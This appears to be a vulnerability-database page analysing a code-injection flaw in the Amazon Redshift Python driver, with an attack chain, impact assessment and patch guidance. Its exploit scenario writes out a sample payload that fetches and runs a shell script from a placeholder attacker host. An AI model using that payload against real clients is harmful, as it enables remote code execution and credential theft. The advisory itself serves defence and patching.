Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessPosition rogue server or MITM on client path
-
DeliveryLure or redirect Python client to attacker endpoint
-
ExploitReturn query result with vector column containing Python expression
-
ExecutionClient vector_in() passes bytes to eval()
-
PersistArbitrary code executes in client Python process
-
ImpactExfiltrate AWS credentials and pivot
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | The victim Python process must use amazon-redshift-python-driver at version 2.1.13 or earlier and must connect to and fetch results from a server the attacker controls or can tamper with on the wire - i.e. either a rogue Redshift/PostgreSQL-protocol endpoint that the client is induced to connect to, or an active man-in-the-middle position on a connection lacking TLS certificate verification (e.g. sslmode=disable, prefer, or require without verify-full). Exploitation additionally requires that a query be executed which returns a vector-typed column, since vector_in() is the only sink; the attacker controls the column contents but the client must trigger a result-set parse. Limiting factors: connections to legitimate AWS Redshift endpoints over properly validated TLS are not exposed unless the cluster itself is compromised, and the attack requires the attacker to be on the server side of the connection rather than reaching the client directly. |
| Impact | The CVSS 4.0 vector AV:N/AC:L/AT:N/PR:N/UI:N with VC:H/VI:H/VA:H reflects a network-reachable, low-complexity, unauthenticated path to full confidentiality, integrity, and availability impact on the client - appropriate for arbitrary code execution. However, the attack model is inverted from typical RCE: the attacker must control or intercept the *server* side of the connection, not the client side, which substantially limits the realistic exploit population to malicious Redshift endpoints, hijacked DNS, compromised network paths, or TLS-misconfigured deployments. EPSS data is not provided in the input, and the CVE is not listed in CISA KEV, so there is no public evidence of active exploitation; no public exploit identified at time of analysis. Net assessment: high severity for environments that connect to untrusted clusters or operate over untrusted networks, but lower urgency for deployments that exclusively connect to AWS-managed Redshift over verified TLS. |
| Exploit ScenarioDerived | An attacker who controls a rogue PostgreSQL-protocol endpoint advertising itself as Redshift, or who can perform a TLS-stripping or certificate-substitution attack on a client connection, returns a query result containing a vector-typed column whose payload is a Python expression such as __import__('os').system('curl attacker.tld/x|sh'). When the victim's Python script calls cursor.fetchall() or otherwise materializes the row, vector_in() invokes eval() on the attacker-controlled bytes and executes the embedded command inside the client process. No public exploit identified at time of analysis, but the primitive is trivial to weaponize given the documented eval() sink. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – May 18, 2026
Remote code execution in the amazon-redshift-python-driver (versions prior to 2.1.14) allows a malicious or compromised Redshift server, or a man-in-the-middle attacker positioned on the network path, to execute arbitrary Python code on any client that connects. The root cause is unsafe use of Python's eval() against untrusted server-supplied data inside the vector_in() function. No public exploit identified at time of analysis, but the CVSS 4.0 base score of 9.3 and PR:N/UI:N vector make this a high-priority client-side supply-chain-style risk.
RemediationAI
Vendor-released patch: upgrade amazon-redshift-python-driver (redshift_connector) to version 2.1.14 or later via pip install --upgrade redshift_connector, as published at https://github.com/aws/amazon-redshift-python-driver/releases/tag/v2.1.14 and described in https://aws.amazon.com/security/security-bulletins/2026-033-aws/ and https://github.com/aws/amazon-redshift-python-driver/security/advisories/GHSA-29h4-r29x-hchv. Until the upgrade is rolled out, ensure all client connections use TLS with verified certificates (sslmode=verify-full) to eliminate the man-in-the-middle path, restrict the connector to connect only to known AWS-owned Redshift endpoints via VPC endpoints or strict egress allow-listing, and avoid using the driver against arbitrary or third-party PostgreSQL-protocol-compatible servers; these controls do not address a maliciously crafted column response from a trusted-but-compromised cluster, so patching remains the only complete fix.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
The driver is the official AWS Python connector (cpe:2.3:a:aws:amazon_redshift_connector_for_python) used by data engineers, ETL pipelines, notebooks, and analytics workloads to communicate with Amazon Redshift clusters over the PostgreSQL wire protocol. The vulnerability is a textbook CWE-94 (Improper Control of Generation of Code, i.e. code injection): the vector_in() type-parsing routine passes server-delivered byte data to Python's built-in eval(), which interprets the input as a Python expression. Because eval() evaluates arbitrary expressions including function calls, any value returned by the server in a column of vector type is sufficient to invoke os.system, subprocess, __import__, or any other callable inside the client's Python process.
Know when Python gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Primary rating from Vendor (AMZN) · only source for this CVE.
CVSS VectorVendor: AMZN
Lifecycle Timeline
1DescriptionCVE.org
Unsafe use of Python's eval() on server-received data in the vector_in() function in amazon-redshift-python-driver before 2.1.14 allows a rogue server or man-in-the-middle actor to execute arbitrary code on the client.
To remediate this issue, users should upgrade to version 2.1.14.
Executive ViewAI
The amazon-redshift-python-driver versions prior to 2.1.14 contain an unauthenticated remote code execution vulnerability that allows attackers to execute arbitrary code on any client connecting to a Redshift database. Organizations using this driver face immediate risk of data theft, system compromise, and operational disruption through either network-based attacks or compromised database servers.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
EUVD-2026-30803
GHSA-29h4-r29x-hchv
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB